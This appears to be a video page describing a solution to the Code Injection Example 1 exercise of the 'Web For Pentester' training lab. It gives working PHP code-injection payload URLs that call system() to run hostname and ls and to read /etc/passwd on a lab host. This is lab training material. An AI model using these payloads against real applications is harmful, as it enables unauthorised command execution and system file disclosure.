Web For Pentester Code Injection Example 1 Solution

Published: 05 September 2018
on channel: Shahzad Haxor
1,733
12

Web For Pentester Code Injection Example 1 Solution

Code injection is the exploitation of a computer bug that is caused by processing invalid data. Injection is used by an attacker to introduce (or "inject") code into a vulnerable computer program and change the course of execution.


http://192.168.174.133/codeexec/example1.php?name=hacker".system('hostname');#

Url Encode

http://192.168.174.133/codeexec/example1.php?name=hacker%22.system%28%27hostname%27%29;#

ls command
http://192.168.174.133/codeexec/example1.php?name=hacker%22.system(%27ls%27)%3b%23

pwd
/var/www/codeexec

cat /etc/passwd
http://192.168.174.133/codeexec/example1.php?name=hacker%22.system(%27cat %2fetc%2fpasswd%27)%3b%23

that's it for it for this video.

IF YOU LIKE THIS VIDEO. PLEASE DON'T FORGET TO LIKE SHARE AND SUBSCRIBE OUR CHANNEL.

THANKS FOR WATCHING.


On this page of the site you can watch the video online Web For Pentester Code Injection Example 1 Solution with a duration of hours minute second in good quality, which was uploaded by the user Shahzad Haxor 05 September 2018, share the link with friends and acquaintances, this video has already been watched 1,733 times on youtube and it was liked by 12 viewers. Enjoy your viewing!